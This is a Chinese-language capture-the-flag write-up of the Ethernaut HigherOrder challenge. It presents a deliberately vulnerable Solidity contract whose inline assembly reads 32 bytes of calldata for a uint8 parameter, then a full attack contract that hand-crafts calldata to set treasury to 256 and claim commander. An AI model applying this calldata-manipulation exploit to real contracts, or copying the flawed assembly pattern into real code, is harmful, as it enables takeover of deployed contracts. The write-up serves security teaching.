Skip to content
On this page

掌控高阶:Ethernaut HigherOrder CTF 挑战深度解析

在一个代码即法律的世界里,有些规则注定要被打破。只有那些最狡猾、最大胆的智者,才能洞察其间的缝隙,一跃成为权力巅峰。欢迎来到神秘莫测的“高阶组织”(Higher Order),这里隐藏着巨大的宝藏,而一位至高无上的指挥官统治着一切。

你的目标?成为这个“高阶组织”的指挥官!这听起来像是一个激动人心的冒险,不是吗?

挑战概述:成为指挥官的秘密

Ethernaut 作为一个学习 Solidity 安全漏洞的平台,总是能提供令人深思的挑战。HigherOrder 挑战也不例外。根据描述,我们需要成为合约的 commander

我们来看一下 HigherOrder.sol 合约的核心代码:

solidity
pragma solidity 0.6.12;

contract HigherOrder {
    address public commander;
    uint256 public treasury;

    function registerTreasury(uint8) public {
        assembly {
            sstore(treasury_slot, calldataload(4))
        }
    }

    function claimLeadership() public {
        if (treasury > 255) commander = msg.sender;
        else revert("Only members of the Higher Order can become Commander");
    }
}

合约非常简洁。它有两个公共状态变量:

  • commander: 记录当前指挥官的地址。我们的目标就是把这个地址设置为我们自己的。
  • treasury: 记录金库的数值。

有两个关键函数:

  • registerTreasury(uint8): 看似一个用于注册金库数值的函数。
  • claimLeadership(): 用于声明领导权。但有一个严苛的条件:treasury > 255

显而易见,要成为指挥官,我们必须设法让 treasury 的值大于 255。而唯一能修改 treasury 的地方,就是 registerTreasury 函数。

洞察漏洞:Calldata 的诡计

现在,让我们把目光聚焦到 registerTreasury 函数:

solidity
function registerTreasury(uint8) public {
    assembly {
        sstore(treasury_slot, calldataload(4))
    }
}

这个函数看起来接收一个 uint8 类型的参数。然而,它的实现却使用了 Solidity 的内联汇编(assembly)!

sstore(treasury_slot, calldataload(4)) 这行代码是关键。

  • treasury_slot: 这是 treasury 状态变量在存储中的位置。
  • calldataload(4): 这条指令意味着从调用数据的第4个字节开始,读取整整32个字节的数据。

问题就出在这里!函数签名明确指出它接受一个 uint8 类型(即一个字节)的参数。但 calldataload(4) 却毫不客气地读取 32 个字节!

Solidity 的函数调用约定(ABI 编码)是这样的:

  1. 前 4 个字节是函数选择器(Function Selector),用于标识要调用的函数。
  2. 从第 4 个字节开始,是函数参数的数据。通常,每个参数都会被填充到 32 字节的槽位中。

所以,当我们调用 registerTreasury(uint8_value) 时,即使我们传入的是一个 uint8,它也会被 ABI 编码成一个 32 字节的 bytes32 格式,例如 0x000...0001 代表 uint8(1)calldataload(4) 会读取这个完整的 32 字节。

“有时候,calldata 不能被信任。” 这条提示完美地指向了这个漏洞!我们可以利用这种不对称性来传递一个我们想要的值,而不仅仅是一个 uint8

破局之道:手工篡改 Calldata

我们的目标是让 treasury 变为至少 256256 在十六进制中是 0x100。 一个正常的 uint8(1) 的 ABI 编码参数是 0x000...0001 (32字节)。 如果 calldataload(4) 读到的值是 0x000...0100 (32字节),那么 treasury 就会被设置为 256

这正是攻击合约 Hack.sol 所做的事情:

solidity
pragma solidity 0.6.12;

import "./HigherOrder.sol";

contract Hack {
    HigherOrder private immutable target;

    constructor(address _target) public {
        target = HigherOrder(_target);
    }

    function cCommander() external {
        // 1. 正常编码 registerTreasury(uint8(1)) 的 calldata
        bytes memory data = abi.encodeWithSignature("registerTreasury(uint8)", uint8(1));
        // 此时 data 看起来会是:
        // 0x6a2e41a6 // 函数选择器 (4字节)
        // 0000000000000000000000000000000000000000000000000000000000000001 // uint8(1) 的 32字节编码

        // 2. 篡改 calldata:修改第34个字节
        data[35] = hex"00"; // 确保最低有效字节是 0
        data[34] = hex"01"; // 将倒数第二个字节设置为 1

        // 此时,从 data[4] 开始读取的 32 字节数据将是 0x...0100
        // 这代表十进制的 256

        // 3. 使用修改后的 calldata 进行底层调用
        (bool success,) = address(target).call(data);
        require(success, "Failed to catch commander!");
    }
}

攻击步骤:

  1. 首先,攻击者使用 abi.encodeWithSignature 正常编码了调用 registerTreasury(uint8(1)) 的 calldata。这会生成一个标准的 36 字节(4字节选择器 + 32字节参数)的 calldata。其中,uint8(1) 在 32 字节参数的最低有效字节(即 data[35])处是 0x01
  2. 接着,攻击者直接修改了这个 bytes 数组!将 data[35] 设置为 0x00,并将 data[34] 设置为 0x01
    • 回忆一下,参数部分从 data[4]data[35]
    • data[35] 是最低有效字节。
    • data[34] 是倒数第二个字节。
    • 经过修改后,这 32 字节的数据从 0x...0001 变成了 0x...0100
  3. 最后,使用 address(target).call(data) 发送了这个被篡改的 calldata。 当 HigherOrder.registerTreasury 执行 assembly { sstore(treasury_slot, calldataload(4)) } 时,它读取到的将是 0x...0100,也就是十进制的 256

成功登顶:成为指挥官!

一旦 Hack 合约成功地将 HigherOrder 合约的 treasury 设置为 256,我们就可以调用 claimLeadership() 函数了。

solidity
if (treasury > 255) commander = msg.sender;

此时 treasury 等于 256,满足 256 > 255 的条件,commander 就会被设置为调用 claimLeadership() 的地址(通常是攻击者的地址)。恭喜,你已经成为了“高阶组织”的指挥官!

测试脚本 98_test_higher_order.ts 也清晰地验证了这一过程:

  1. 最初 treasury0commander0x00...00
  2. 部署 Hack 合约,并调用 hack.cCommander()
  3. 调用 hoContract.claimLeadership()
  4. 最终 treasury 变为 256commander 变为部署者的地址。

经验总结

HigherOrder 挑战完美地展示了在 Solidity 中使用内联汇编时可能出现的风险,以及对 calldata 结构深入理解的重要性:

  1. 内联汇编的强大与危险: assembly 赋予开发者直接操作 EVM 底层指令的能力,效率极高。但这种能力也带来了巨大的责任。一旦对指令的理解有偏差,就可能引入难以察觉的漏洞。
  2. calldataload 的特性: 它总是读取 32 字节。当函数签名(期望的参数类型)与底层实现(实际读取的字节数)不匹配时,就会出现问题。
  3. ABI 编码的理解: 知道参数如何在 calldata 中布局,是这种攻击成功的关键。通过直接操作原始字节数组,我们可以绕过正常的类型检查和编码逻辑。
  4. 不信任外部输入: “calldata 不能被信任”是智能合约开发中的黄金法则。即使是看似安全的函数签名,底层实现也可能被恶意利用。

这个挑战也呼应了另一条提示:“编译器是不断进化的飞船。” 尽管编译器越来越智能,能捕捉更多错误,但在使用 assembly 这种底层工具时,开发者依然需要对 EVM 的工作原理有最透彻的理解。因为,即使是最好的编译器,也无法完全理解你的“意图”,它只能按照你的“指令”行事。

恭喜你,已经证明了你的狡猾与大胆,成功掌控了“高阶”!


Built with AiAda